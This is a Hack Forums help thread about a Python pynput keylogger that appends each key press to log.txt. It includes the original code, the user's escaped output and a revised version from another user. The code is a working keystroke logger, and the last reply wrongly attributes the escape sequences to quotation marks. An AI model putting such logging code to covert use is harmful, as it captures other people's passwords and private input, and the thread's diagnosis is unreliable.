Hack Forums
[Python] need help with pynput code - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] need help with pynput code (/showthread.php?tid=5926256)



need help with pynput code - CyberError - Jan 5, 2019

my code saving all the logs as hexacode : -
Quote: '\x13''\x13'Key.space'\x13''\x01''\x12''\x12''\x05'Key.enterKey.enterKey.enter'\x0b''\t''\x0c''\x0c''\x05''\x12''\r''\x01''\x03''\x08''\t''\x0e''\x05''\x14''\t''\r''\x05'Key.space'\x01''\x03''\x08''\t''\x0e''\x05'Key.space'\r''\x01''\x03''\x08''\t''\x0e''\x05'Key.enterKey.enterKey.enter'\x13''\x04''\x01''\x13''\x13''\x01''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01'

PHP Code

<?php 
from pynput
.keyboard import Listener

def writetofile
(key):
    
keydata = str(key)
    
with open("log.txt" , 'a') as f:
        
f.write(keydata)


with Listener(on_press=writetofile) as l:
    
l.join()

print() 



RE: need help with pynput code - HFDone - Jan 5, 2019

you didnt say what is your problem i guess you need to convert the key to string before you save it


RE: need help with pynput code - Ghxst - Jan 5, 2019

Code
from pynput.keyboard import Listener

def writetofile(key):
    try:
        keydata = key.char
    except AttributeError:
        keydata = str(key)
    with open("log.txt" , 'a') as f:
        f.write(keydata)


with Listener(on_press=writetofile) as l:
    l.join()

Not entirely sure what your issue is, this seems to work fine for me however, and gets rid of all the quotation marks.


RE: need help with pynput code - CyberError - Jan 5, 2019

(Jan 5, 2019 05:20 PM)Ghxst Wrote:  
Code
from pynput.keyboard import Listener

def writetofile(key):
try:
keydata = key.char
except AttributeError:
keydata = str(key)
with open("log.txt" , 'a') as f:
f.write(keydata)


with Listener(on_press=writetofile) as l:
l.join()

Not entirely sure what your issue is, this seems to work fine for me however, and gets rid of all the quotation marks.


I Mean by log.txt file isnt logging in right format ,its saving on hexacode , instead of strings


RE: need help with pynput code - Ghxst - Jan 9, 2019

(Jan 5, 2019 10:50 PM)CyberError Wrote:  I Mean by log.txt file isnt logging in right format ,its saving on hexacode , instead of strings

Have you tried my snippet?
'Hexacode' isn't a thing, hex representation is. The reason for this most likely is that you are logging multiple quotation marks and it tries to make sense out of which are considered the opening and closing marks of a string and which are simply included in that string.

For example, 4 quotation marks will indicate 2 strings in python, not 1 string containing 2 quotation marks.
So python logs the 2 contained quotation marks as hex, to indicate they are part of the string, and not meant to create a second one.